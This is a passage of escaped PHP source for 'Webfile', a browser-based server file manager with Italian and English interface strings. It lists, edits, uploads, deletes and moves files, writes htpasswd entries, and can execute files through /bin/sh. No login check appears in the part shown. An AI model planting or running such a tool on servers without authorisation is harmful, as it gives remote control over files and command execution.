{\r\n\t\t\t\t\t\t\$file['is_executable'] = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (\$file['is_link']) \$file['target'] = @readlink(\$path);\r\n\r\n\t\t\t\tif (function_exists('posix_getpwuid')) \$file['owner_name'] = @reset(posix_getpwuid(\$file['owner']));\r\n\t\t\t\tif (function_exists('posix_getgrgid')) \$file['group_name'] = @reset(posix_getgrgid(\$file['group']));\r\n\r\n\t\t\t\t\$files[] = \$file;\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\treturn \$files;\r\n\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n\r\n}\r\n\r\nfunction sortlist (&\$list, \$key, \$reverse) {\r\n\r\n\tquicksort(\$list, 0, sizeof(\$list) - 1, \$key);\r\n\r\n\tif (\$reverse) \$list = array_reverse(\$list);\r\n\r\n}\r\n\r\nfunction quicksort (&\$array, \$first, \$last, \$key) {\r\n\r\n\tif (\$first < \$last) {\r\n\r\n\t\t\$cmp = \$array[floor((\$first + \$last) / 2)][\$key];\r\n\r\n\t\t\$l = \$first;\r\n\t\t\$r = \$last;\r\n\r\n\t\twhile (\$l <= \$r) {\r\n\r\n\t\t\twhile (\$array[\$l][\$key] < \$cmp) \$l++;\r\n\t\t\twhile (\$array[\$r][\$key] > \$cmp) \$r--;\r\n\r\n\t\t\tif (\$l <= \$r) {\r\n\r\n\t\t\t\t\$tmp = \$array[\$l];\r\n\t\t\t\t\$array[\$l] = \$array[\$r];\r\n\t\t\t\t\$array[\$r] = \$tmp;\r\n\r\n\t\t\t\t\$l++;\r\n\t\t\t\t\$r--;\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\tquicksort(\$array, \$first, \$r, \$key);\r\n\t\tquicksort(\$array, \$l, \$last, \$key);\r\n\r\n\t}\r\n\r\n}\r\n\r\nfunction permission_octal2string (\$mode) {\r\n\r\n\tif ((\$mode & 0xC000) === 0xC000) {\r\n\t\t\$type = 's';\r\n\t} elseif ((\$mode & 0xA000) === 0xA000) {\r\n\t\t\$type = 'l';\r\n\t} elseif ((\$mode & 0x8000) === 0x8000) {\r\n\t\t\$type = '-';\r\n\t} elseif ((\$mode & 0x6000) === 0x6000) {\r\n\t\t\$type = 'b';\r\n\t} elseif ((\$mode & 0x4000) === 0x4000) {\r\n\t\t\$type = 'd';\r\n\t} elseif ((\$mode & 0x2000) === 0x2000) {\r\n\t\t\$type = 'c';\r\n\t} elseif ((\$mode & 0x1000) === 0x1000) {\r\n\t\t\$type = 'p';\r\n\t} else {\r\n\t\t\$type = '?';\r\n\t}\r\n\r\n\t\$owner  = (\$mode & 00400) ? 'r' : '-';\r\n\t\$owner .= (\$mode & 00200) ? 'w' : '-';\r\n\tif (\$mode & 0x800) {\r\n\t\t\$owner .= (\$mode & 00100) ? 's' : 'S';\r\n\t} else {\r\n\t\t\$owner .= (\$mode & 00100) ? 'x' : '-';\r\n\t}\r\n\r\n\t\$group  = (\$mode & 00040) ? 'r' : '-';\r\n\t\$group .= (\$mode & 00020) ? 'w' : '-';\r\n\tif (\$mode & 0x400) {\r\n\t\t\$group .= (\$mode & 00010) ? 's' : 'S';\r\n\t} else {\r\n\t\t\$group .= (\$mode & 00010) ? 'x' : '-';\r\n\r\n\t}\r\n\r\n\t\$other  = (\$mode & 00004) ? 'r' : '-';\r\n\t\$other .= (\$mode & 00002) ? 'w' : '-';\r\n\tif (\$mode & 0x200) {\r\n\t\t\$other .= (\$mode & 00001) ? 't' : 'T';\r\n\t} else {\r\n\t\t\$other .= (\$mode & 00001) ? 'x' : '-';\r\n\t}\r\n\r\n\treturn \$type . \$owner . \$group . \$other;\r\n\r\n}\r\n\r\nfunction is_script (\$filename) {\r\n\treturn ereg('\\.php\$|\\.php3\$|\\.php4\$|\\.php5\$', \$filename);\r\n}\r\n\r\nfunction getmimetype (\$filename) {\r\n\tstatic \$mimes = array(\r\n\t\t'\\.jpg\$|\\.jpeg\$'  => 'image/jpeg',\r\n\t\t'\\.gif\$'          => 'image/gif',\r\n\t\t'\\.png\$'          => 'image/png',\r\n\t\t'\\.html\$|\\.html\$' => 'text/html',\r\n\t\t'\\.txt\$|\\.asc\$'   => 'text/plain',\r\n\t\t'\\.xml\$|\\.xsl\$'   => 'application/xml',\r\n\t\t'\\.pdf\$'          => 'application/pdf'\r\n\t);\r\n\r\n\tforeach (\$mimes as \$regex => \$mime) {\r\n\t\tif (eregi(\$regex, \$filename)) return \$mime;\r\n\t}\r\n\r\n\t// return 'application/octet-stream';\r\n\treturn 'text/plain';\r\n\r\n}\r\n\r\nfunction del (\$file) {\r\n\tglobal \$delim;\r\n\r\n\tif (!@is_link(\$file) && !file_exists(\$file)) return false;\r\n\r\n\tif (!@is_link(\$file) && @is_dir(\$file)) {\r\n\r\n\t\tif (\$dir = @opendir(\$file)) {\r\n\r\n\t\t\t\$error = false;\r\n\r\n\t\t\twhile ((\$f = readdir(\$dir)) !== false) {\r\n\t\t\t\tif (\$f != '.' && \$f != '..' && !del(\$file . \$delim . \$f)) {\r\n\t\t\t\t\t\$error = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir(\$dir);\r\n\r\n\t\t\tif (!\$error) return @rmdir(\$file);\r\n\r\n\t\t\treturn !\$error;\r\n\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t} else {\r\n\t\treturn @unlink(\$file);\r\n\t}\r\n\r\n}\r\n\r\nfunction addslash (\$directory) {\r\n\tglobal \$delim;\r\n\r\n\tif (substr(\$directory, -1, 1) != \$delim) {\r\n\t\treturn \$directory . \$delim;\r\n\t} else {\r\n\t\treturn \$directory;\r\n\t}\r\n\r\n}\r\n\r\nfunction relative2absolute (\$string, \$directory) {\r\n\r\n\tif (path_is_relative(\$string)) {\r\n\t\treturn simplify_path(addslash(\$directory) . \$string);\r\n\t} else {\r\n\t\treturn simplify_path(\$string);\r\n\t}\r\n\r\n}\r\n\r\nfunction path_is_relative (\$path) {\r\n\tglobal \$win;\r\n\r\n\tif (\$win) {\r\n\t\treturn (substr(\$path, 1, 1) != ':');\r\n\t} else {\r\n\t\treturn (substr(\$path, 0, 1) != '/');\r\n\t}\r\n\r\n}\r\n\r\nfunction absolute2relative (\$directory, \$target) {\r\n\tglobal \$delim;\r\n\r\n\t\$path = '';\r\n\twhile (\$directory != \$target) {\r\n\t\tif (\$directory == substr(\$target, 0, strlen(\$directory))) {\r\n\t\t\t\$path .= substr(\$target, strlen(\$directory));\r\n\t\t\tbreak;\r\n\t\t} else {\r\n\t\t\t\$path .= '..' . \$delim;\r\n\t\t\t\$directory = substr(\$directory, 0, strrpos(substr(\$directory, 0, -1), \$delim) + 1);\r\n\t\t}\r\n\t}\r\n\tif (\$path == '') \$path = '.';\r\n\r\n\treturn \$path;\r\n\r\n}\r\n\r\nfunction simplify_path (\$path) {\r\n\tglobal \$delim;\r\n\r\n\tif (@file_exists(\$path) && function_exists('realpath') && @realpath(\$path) != '') {\r\n\t\t\$path = realpath(\$path);\r\n\t\tif (@is_dir(\$path)) {\r\n\t\t\treturn addslash(\$path);\r\n\t\t} else {\r\n\t\t\treturn \$path;\r\n\t\t}\r\n\t}\r\n\r\n\t\$pattern  = \$delim . '.' . \$delim;\r\n\r\n\tif (@is_dir(\$path)) {\r\n\t\t\$path = addslash(\$path);\r\n\t}\r\n\r\n\twhile (strpos(\$path, \$pattern) !== false) {\r\n\t\t\$path = str_replace(\$pattern, \$delim, \$path);\r\n\t}\r\n\r\n\t\$e = addslashes(\$delim);\r\n\t\$regex = \$e . '((\\.[^\\.' . \$e . '][^' . \$e . ']*)|(\\.\\.[^' . \$e . ']+)|([^\\.][^' . \$e . ']*))' . \$e . '\\.\\.' . \$e;\r\n\r\n\twhile (ereg(\$regex, \$path)) {\r\n\t\t\$path = ereg_replace(\$regex, \$delim, \$path);\r\n\t}\r\n\t\r\n\treturn \$path;\r\n\r\n}\r\n\r\nfunction human_filesize (\$filesize) {\r\n\r\n\t\$suffices = 'kMGTPE';\r\n\r\n\t\$n = 0;\r\n\twhile (\$filesize >= 1000) {\r\n\t\t\$filesize /= 1024;\r\n\t\t\$n++;\r\n\t}\r\n\r\n\t\$filesize = round(\$filesize, 3 - strpos(\$filesize, '.'));\r\n\r\n\tif (strpos(\$filesize, '.') !== false) {\r\n\t\twhile (in_array(substr(\$filesize, -1, 1), array('0', '.'))) {\r\n\t\t\t\$filesize = substr(\$filesize, 0, strlen(\$filesize) - 1);\r\n\t\t}\r\n\t}\r\n\r\n\t\$suffix = ((\$n == 0) ? '' : substr(\$suffices, \$n - 1, 1));\r\n\r\n\treturn \$filesize . \" {\$suffix}B\";\r\n\r\n}\r\n\r\nfunction strip (&\$str) {\r\n\t\$str = stripslashes(\$str);\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction listing_page (\$message = null) {\r\n\tglobal \$self, \$directory, \$sort, \$reverse;\r\n\r\n\thtml_header();\r\n\r\n\t\$list = getlist(\$directory);\r\n\r\n\tif (array_key_exists('sort', \$_GET)) \$sort = \$_GET['sort']; else \$sort = 'filename';\r\n\tif (array_key_exists('reverse', \$_GET) && \$_GET['reverse'] == 'true') \$reverse = true; else \$reverse = false;\r\n\r\n\tsortlist(\$list, \$sort, \$reverse);\r\n\r\n\techo '<h1 style=\"margin-bottom: 0\">Webfile</h1>\r\n\r\n<form enctype=\"multipart/form-data\" action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table id=\"main\">\r\n';\r\n\r\n\tdirectory_choice();\r\n\r\n\tif (!empty(\$message)) {\r\n\t\tspacer();\r\n\t\techo \$message;\r\n\t}\r\n\r\n\tif (@is_writable(\$directory)) {\r\n\t\tupload_box();\r\n\t\tcreate_box();\r\n\t} else {\r\n\t\tspacer();\r\n\t}\r\n\r\n\tif (\$list) {\r\n\t\tlisting(\$list);\r\n\t} else {\r\n\t\techo error('not_readable', \$directory);\r\n\t}\r\n\r\n\techo '</table>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\thtml_footer();\r\n\r\n}\r\n\r\nfunction listing (\$list) {\r\n\tglobal \$directory, \$homedir, \$sort, \$reverse, \$win, \$cols, \$date_format, \$self;\r\n\r\n\techo '<tr class=\"listing\">\r\n\t<th style=\"text-align: center; vertical-align: middle\"><img src=\"' . \$self . '?image=smiley\" alt=\"smiley\" /></th>\r\n';\r\n\r\n\t\$d = 'dir=' . urlencode(\$directory) . '&amp;';\r\n\r\n\tif (!\$reverse && \$sort == 'filename') \$r = '&amp;reverse=true'; else \$r = '';\r\n\techo \"\\t<th class=\\\"filename\\\"><a href=\\\"\$self?{\$d}sort=filename\$r\\\">\" . word('filename') . \"</a></th>\\\r\n\";\r\n\r\n\tif (!\$reverse && \$sort == 'size') \$r = '&amp;reverse=true'; else \$r = '';\r\n\techo \"\\t<th class=\\\"size\\\"><a href=\\\"\$self?{\$d}sort=size\$r\\\">\" . word('size') . \"</a></th>\\\r\n\";\r\n\r\n\tif (!\$win) {\r\n\r\n\t\tif (!\$reverse && \$sort == 'permission') \$r = '&amp;reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"\$self?{\$d}sort=permission\$r\\\">\" . word('permission') . \"</a></th>\\\r\n\";\r\n\r\n\t\tif (!\$reverse && \$sort == 'owner') \$r = '&amp;reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"owner\\\"><a href=\\\"\$self?{\$d}sort=owner\$r\\\">\" . word('owner') . \"</a></th>\\\r\n\";\r\n\r\n\t\tif (!\$reverse && \$sort == 'group') \$r = '&amp;reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"group\\\"><a href=\\\"\$self?{\$d}sort=group\$r\\\">\" . word('group') . \"</a></th>\\\r\n\";\r\n\r\n\t}\r\n\r\n\techo '\t<th class=\"functions\">' . word('functions') . '</th>\r\n</tr>\r\n';\r\n\r\n\tfor (\$i = 0; \$i < sizeof(\$list); \$i++) {\r\n\t\t\$file = \$list[\$i];\r\n\r\n\t\t\$timestamps  = 'mtime: ' . date(\$date_format, \$file['mtime']) . ', ';\r\n\t\t\$timestamps .= 'atime: ' . date(\$date_format, \$file['atime']) . ', ';\r\n\t\t\$timestamps .= 'ctime: ' . date(\$date_format, \$file['ctime']);\r\n\r\n\t\techo '<tr class=\"listing\">\r\n\t<td class=\"checkbox\"><input type=\"checkbox\" name=\"checked' . \$i . '\" value=\"true\" onfocus=\"activate(\\'other\\')\" /></td>\r\n\t<td class=\"filename\" title=\"' . html(\$timestamps) . '\">';\r\n\r\n\t\tif (\$file['is_link']) {\r\n\r\n\t\t\techo '<img src=\"' . \$self . '?image=link\" alt=\"link\" /> ';\r\n\t\t\techo html(\$file['filename']) . ' &rarr; ';\r\n\r\n\t\t\t\$real_file = relative2absolute(\$file['target'], \$directory);\r\n\r\n\t\t\tif (@is_readable(\$real_file)) {\r\n\t\t\t\tif (@is_dir(\$real_file)) {\r\n\t\t\t\t\techo '[ <a href=\"' . \$self . '?dir=' . urlencode(\$real_file) . '\">' . html(\$file['target']) . '</a> ]';\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo '<a href=\"' . \$self . '?action=view&amp;file=' . urlencode(\$real_file) . '\">' . html(\$file['target']) . '</a>';\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['target']);\r\n\t\t\t}\r\n\r\n\t\t} elseif (\$file['is_dir']) {\r\n\r\n\t\t\techo '<img src=\"' . \$self . '?image=folder\" alt=\"folder\" /> [ ';\r\n\t\t\tif (\$win || \$file['is_executable']) {\r\n\t\t\t\techo '<a href=\"' . \$self . '?dir=' . urlencode(\$file['path']) . '\">' . html(\$file['filename']) . '</a>';\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['filename']);\r\n\t\t\t}\r\n\t\t\techo ' ]';\r\n\r\n\t\t} else {\r\n\r\n\t\t\tif (substr(\$file['filename'], 0, 1) == '.') {\r\n\t\t\t\techo '<img src=\"' . \$self . '?image=hidden_file\" alt=\"hidden file\" /> ';\r\n\t\t\t} else {\r\n\t\t\t\techo '<img src=\"' . \$self . '?image=file\" alt=\"file\" /> ';\r\n\t\t\t}\r\n\r\n\t\t\tif (\$file['is_file'] && \$file['is_readable']) {\r\n\t\t\t   echo '<a href=\"' . \$self . '?action=view&amp;file=' . urlencode(\$file['path']) . '\">' . html(\$file['filename']) . '</a>';\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['filename']);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\tif (\$file['size'] >= 1000) {\r\n\t\t\t\$human = ' title=\"' . human_filesize(\$file['size']) . '\"';\r\n\t\t} else {\r\n\t\t\t\$human = '';\r\n\t\t}\r\n\r\n\t\techo \"\\t<td class=\\\"size\\\"\$human>{\$file['size']} B</td>\\\r\n\";\r\n\r\n\t\tif (!\$win) {\r\n\r\n\t\t\techo \"\\t<td class=\\\"permission\\\" title=\\\"\" . decoct(\$file['permission']) . '\">';\r\n\r\n\t\t\t\$l = !\$file['is_link'] && (!function_exists('posix_getuid') || \$file['owner'] == posix_getuid());\r\n\t\t\tif (\$l) echo '<a href=\"' . \$self . '?action=permission&amp;file=' . urlencode(\$file['path']) . '&amp;dir=' . urlencode(\$directory) . '\">';\r\n\t\t\techo html(permission_octal2string(\$file['permission']));\r\n\t\t\tif (\$l) echo '</a>';\r\n\r\n\t\t\techo \"</td>\\\r\n\";\r\n\r\n\t\t\tif (array_key_exists('owner_name', \$file)) {\r\n\t\t\t\techo \"\\t<td class=\\\"owner\\\" title=\\\"uid: {\$file['owner']}\\\">{\$file['owner_name']}</td>\\\r\n\";\r\n\t\t\t} else {\r\n\t\t\t\techo \"\\t<td class=\\\"owner\\\">{\$file['owner']}</td>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t\tif (array_key_exists('group_name', \$file)) {\r\n\t\t\t\techo \"\\t<td class=\\\"group\\\" title=\\\"gid: {\$file['group']}\\\">{\$file['group_name']}</td>\\\r\n\";\r\n\t\t\t} else {\r\n\t\t\t\techo \"\\t<td class=\\\"group\\\">{\$file['group']}</td>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\techo '\t<td class=\"functions\">\r\n\t\t<input type=\"hidden\" name=\"file' . \$i . '\" value=\"' . html(\$file['path']) . '\" />\r\n';\r\n\r\n\t\t\$actions = array();\r\n\t\tif (function_exists('symlink')) {\r\n\t\t\t\$actions[] = 'create_symlink';\r\n\t\t}\r\n\t\tif (@is_writable(dirname(\$file['path']))) {\r\n\t\t\t\$actions[] = 'delete';\r\n\t\t\t\$actions[] = 'rename';\r\n\t\t\t\$actions[] = 'move';\r\n\t\t}\r\n\t\tif (\$file['is_file'] && \$file['is_readable']) {\r\n\t\t\t\$actions[] = 'copy';\r\n\t\t\t\$actions[] = 'download';\r\n\t\t\tif (\$file['is_writable']) \$actions[] = 'edit';\r\n\t\t}\r\n\t\tif (!\$win && function_exists('exec') && \$file['is_file'] && \$file['is_executable'] && file_exists('/bin/sh')) {\r\n\t\t\t\$actions[] = 'execute';\r\n\t\t}\r\n\r\n\t\tif (sizeof(\$actions) > 0) {\r\n\r\n\t\t\techo '\t\t<select class=\"small\" name=\"action' . \$i . '\" size=\"1\">\r\n\t\t<option value=\"\">' . str_repeat('&nbsp;', 30) . '</option>\r\n';\r\n\r\n\t\t\tforeach (\$actions as \$action) {\r\n\t\t\t\techo \"\\t\\t<option value=\\\"\$action\\\">\" . word(\$action) . \"</option>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t\techo '\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit' . \$i . '\" value=\" &gt; \" onfocus=\"activate(\\'other\\')\" />\r\n';\r\n\r\n\t\t}\r\n\r\n\t\techo '\t</td>\r\n</tr>\r\n';\r\n\r\n\t}\r\n\r\n\techo '<tr class=\"listing_footer\">\r\n\t<td style=\"text-align: right; vertical-align: top\"><img src=\"' . \$self . '?image=arrow\" alt=\"&gt;\" /></td>\r\n\t<td colspan=\"' . (\$cols - 1) . '\">\r\n\t\t<input type=\"hidden\" name=\"num\" value=\"' . sizeof(\$list) . '\" />\r\n\t\t<input type=\"hidden\" name=\"focus\" value=\"\" />\r\n\t\t<input type=\"hidden\" name=\"olddir\" value=\"' . html(\$directory) . '\" />\r\n';\r\n\r\n\t\$actions = array();\r\n\tif (@is_writable(dirname(\$file['path']))) {\r\n\t\t\$actions[] = 'delete';\r\n\t\t\$actions[] = 'move';\r\n\t}\r\n\t\$actions[] = 'copy';\r\n\r\n\techo '\t\t<select class=\"small\" name=\"action_all\" size=\"1\">\r\n\t\t<option value=\"\">' . str_repeat('&nbsp;', 30) . '</option>\r\n';\r\n\r\n\tforeach (\$actions as \$action) {\r\n\t\techo \"\\t\\t<option value=\\\"\$action\\\">\" . word(\$action) . \"</option>\\\r\n\";\r\n\t}\r\n\r\n\techo '\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate(\\'other\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction directory_choice () {\r\n\tglobal \$directory, \$homedir, \$cols, \$self;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"directory\">\r\n\t\t<a href=\"' . \$self . '?dir=' . urlencode(\$homedir) . '\">' . word('directory') . '</a>:\r\n\t\t<input type=\"text\" name=\"dir\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" onfocus=\"activate(\\'directory\\')\" />\r\n\t\t<input type=\"submit\" name=\"changedir\" value=\"' . word('change') . '\" onfocus=\"activate(\\'directory\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction upload_box () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"upload\">\r\n\t\t' . word('file') . ':\r\n\t\t<input type=\"file\" name=\"upload\" onfocus=\"activate(\\'other\\')\" />\r\n\t\t<input type=\"submit\" name=\"submit_upload\" value=\"' . word('upload') . '\" onfocus=\"activate(\\'other\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction create_box () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"create\">\r\n\t\t<select name=\"create_type\" size=\"1\" onfocus=\"activate(\\'create\\')\">\r\n\t\t<option value=\"file\">' . word('file') . '</option>\r\n\t\t<option value=\"directory\">' . word('directory') . '</option>\r\n\t\t</select>\r\n\t\t<input type=\"text\" name=\"create_name\" onfocus=\"activate(\\'create\\')\" />\r\n\t\t<input type=\"submit\" name=\"submit_create\" value=\"' . word('create') . '\" onfocus=\"activate(\\'create\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction edit (\$file) {\r\n\tglobal \$self, \$directory, \$editcols, \$editrows, \$apache, \$htpasswd, \$htaccess;\r\n\r\n\thtml_header();\r\n\r\n\techo '<h2 style=\"margin-bottom: 3pt\">' . html(\$file) . '</h2>\r\n\r\n<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\r\n\t<textarea name=\"content\" cols=\"' . \$editcols . '\" rows=\"' . \$editrows . '\" WRAP=\"off\">';\r\n\r\n\tif (array_key_exists('content', \$_POST)) {\r\n\t\techo \$_POST['content'];\r\n\t} else {\r\n\t\t\$f = fopen(\$file, 'r');\r\n\t\twhile (!feof(\$f)) {\r\n\t\t\techo html(fread(\$f, 8192));\r\n\t\t}\r\n\t\tfclose(\$f);\r\n\t}\r\n\r\n\tif (!empty(\$_POST['user'])) {\r\n\t\techo \"\\\r\n\" . \$_POST['user'] . ':' . crypt(\$_POST['password']);\r\n\t}\r\n\tif (!empty(\$_POST['basic_auth'])) {\r\n\t\tif (\$win) {\r\n\t\t\t\$authfile = str_replace('\\\\', '/', \$directory) . \$htpasswd;\r\n\t\t} else {\r\n\t\t\t\$authfile = \$directory . \$htpasswd;\r\n\t\t}\r\n\t\techo \"\\\r\nAuthType Basic\\\r\nAuthName &quot;Restricted Directory&quot;\\\r\n\";\r\n\t\techo 'AuthUserFile &quot;' . html(\$authfile) . \"&quot;\\\r\n\";\r\n\t\techo 'Require valid-user';\r\n\t}\r\n\r\n\techo '</textarea>\r\n\r\n\t<hr />\r\n';\r\n\r\n\tif (\$apache && basename(\$file) == \$htpasswd) {\r\n\t\techo '\r\n\t' . word('user') . ': <input type=\"text\" name=\"user\" />\r\n\t' . word('password') . ': <input type=\"password\" name=\"password\" />\r\n\t<input type=\"submit\" value=\"' . word('add') . '\" />\r\n\r\n\t<hr />\r\n';\r\n\r\n\t}\r\n\r\n\tif (\$apache && basename(\$file) == \$htaccess) {\r\n\t\techo '\r\n\t<input type=\"submit\" name=\"basic_auth\" value=\"' . word('add_basic_auth') . '\" />\r\n\r\n\t<hr />\r\n';\r\n\r\n\t}\r\n\r\n\techo '\r\n\t<input type=\"hidden\" name=\"action\" value=\"edit\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"reset\" value=\"' . word('reset') . '\" id=\"red_button\" />\r\n\t<input type=\"submit\" name=\"save\" value=\"' . word('save') . '\" id=\"green_button\" style=\"margin-left: 50px\" />\r\n\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\thtml_footer();\r\n\r\n}\r\n\r\nfunction spacer () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" style=\"height: 1em\"></td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction textfieldsize (\$content) {\r\n\r\n\t\$size = strlen(\$content) + 5;\r\n\tif (\$size < 30) \$size = 30;\r\n\r\n\treturn \$size;\r\n\r\n}\r\n\r\nfunction request_dump () {\r\n\r\n\tforeach (\$_REQUEST as \$key => \$value) {\r\n\t\techo \"\\t<input type=\\\"hidden\\\" name=\\\"\" . html(\$key) . '\" value=\"' . html(\$value) . \"\\\" />\\\r\n\";\r\n\t}\r\n\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction html (\$string) {\r\n\tglobal \$site_charset;\r\n\treturn htmlentities(\$string, ENT_COMPAT, \$site_charset);\r\n}\r\n\r\nfunction word (\$word) {\r\n\tglobal \$words, \$word_charset;\r\n\treturn htmlentities(\$words[\$word], ENT_COMPAT, \$word_charset);\r\n}\r\n\r\nfunction phrase (\$phrase, \$arguments) {\r\n\tglobal \$words;\r\n\tstatic \$search;\r\n\r\n\tif (!is_array(\$search)) for (\$i = 1; \$i <= 8; \$i++) \$search[] = \"%\$i\";\r\n\r\n\tfor (\$i = 0; \$i < sizeof(\$arguments); \$i++) {\r\n\t\t\$arguments[\$i] = nl2br(html(\$arguments[\$i]));\r\n\t}\r\n\r\n\t\$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');\r\n\r\n\treturn str_replace(\$search, \$arguments, str_replace(array_keys(\$replace), \$replace, nl2br(html(\$words[\$phrase]))));\r\n\r\n}\r\n\r\nfunction getwords (\$lang) {\r\n\tglobal \$word_charset, \$date_format;\r\n\r\n\tswitch (\$lang) {\r\n\tcase 'it':\r\n    default:\r\n\t\t\$date_format = 'd-m-Y H:i:s';\r\n\t\t\$word_charset = 'ISO-8859-1';\r\n\r\n\t\treturn array(\r\n'directory' => 'Directory',\r\n'file' => 'File',\r\n'filename' => 'Nome File',\r\n\r\n'size' => 'Dimensioni',\r\n'permission' => 'Permessi',\r\n'owner' => 'Proprietario',\r\n'group' => 'Gruppo',\r\n'other' => 'Altro',\r\n'functions' => 'Funzioni',\r\n\r\n'read' => 'leggi',\r\n'write' => 'scrivi',\r\n'execute' => 'esegui',\r\n\r\n'create_symlink' => 'crea link simbolico',\r\n'delete' => 'cancella',\r\n'rename' => 'rinomina',\r\n'move' => 'sposta',\r\n'copy' => 'copia',\r\n'edit' => 'modifica',\r\n'download' => 'download',\r\n'upload' => 'upload',\r\n'create' => 'crea',\r\n'change' => 'cambia',\r\n'save' => 'salva',\r\n'set' => 'imposta',\r\n'reset' => 'reimposta',\r\n'relative' => 'Percorso relativo per la destinazione',\r\n\r\n'yes' => 'Si',\r\n'no' => 'No',\r\n'back' => 'indietro',\r\n'destination' => 'Destinazione',\r\n'symlink' => 'Link simbolico',\r\n'no_output' => 'no output',\r\n\r\n'user' => 'User',\r\n'password' => 'Password',\r\n'add' => 'aggiungi',\r\n'add_basic_auth' => 'aggiungi autenticazione base',\r\n\r\n'uploaded' => '\"[%1]\"  stato caricato.',\r\n'not_uploaded' => '\"[%1]\" non  stato caricato.',\r\n'already_exists' => '\"[%1]\" esiste gi? .',\r\n'created' => '\"[%1]\"  stato creato.',\r\n'not_created' => '\"[%1]\" non  stato creato.',\r\n'really_delete' => 'Cancello questi file ?',\r\n'deleted' => \"Questi file sono stati cancellati:\\\r\n[%1]\",\r\n'not_deleted' => \"Questi file non possono essere cancellati:\\\r\n[%1]\",\r\n'rename_file' => 'File rinominato:',\r\n'renamed' => '\"[%1]\"  stato rinominato in \"[%2]\".',\r\n'not_renamed' => '\"[%1] non  stato rinominato in \"[%2]\".',\r\n'move_files' => 'Sposto questi file:',\r\n'moved' => \"Questi file sono stati spostati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_moved' => \"Questi file non possono essere spostati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'copy_files' => 'Copio questi file',\r\n'copied' => \"Questi file sono stati copiati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_copied' => \"Questi file non possono essere copiati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_edited' => '\"[%1]\" non pu? essere modificato.',\r\n'executed' => \"\\\"[%1]\\\"  stato eseguito con successo:\\\r\n{%2}\",\r\n'not_executed' => \"\\\"[%1]\\\" non  stato eseguito con successo\\\r\n{%2}\",\r\n'saved' => '\"[%1]\"  stato salvato.',\r\n'not_saved' => '\"[%1]\" non  stato salvato.',\r\n'symlinked' => 'Il link siambolico da \"[%2]\" a \"[%1]\"  stato creato.',\r\n'not_symlinked' => 'Il link siambolico da \"[%2]\" a \"[%1]\" non  stato creato.',\r\n'permission_for' => 'Permessi di \"[%1]\":',\r\n'permission_set' => 'I permessi di \"[%1]\" sono stati impostati [%2].',\r\n'permission_not_set' => 'I permessi di \"[%1]\" non sono stati impostati [%2].',\r\n'not_readable' => '\"[%1]\" non pu? essere letto.'\r\n\t\t);\r\n\r\n\tcase 'en':\r\n\r\n\t\t\$date_format = 'n/j/y H:i:s';\r\n\t\t\$word_charset = 'ISO-8859-1';\r\n\r\n\t\treturn array(\r\n'directory' => 'Directory',\r\n'file' => 'File',\r\n'filename' => 'Filename',\r\n\r\n'size' => 'Size',\r\n'permission' => 'Permission',\r\n'owner' => 'Owner',\r\n'group' => 'Group',\r\n'other' => 'Others',\r\n'functions' => 'Functions',\r\n\r\n'read' => 'read',\r\n'write' => 'write',\r\n'execute' => 'execute',\r\n\r\n'create_symlink' => 'create symlink',\r\n'delete' => 'delete',\r\n'rename' => 'rename',\r\n'move' => 'move',\r\n'copy' => 'copy',\r\n'edit' => 'edit',\r\n'download' => 'download',\r\n'upload' => 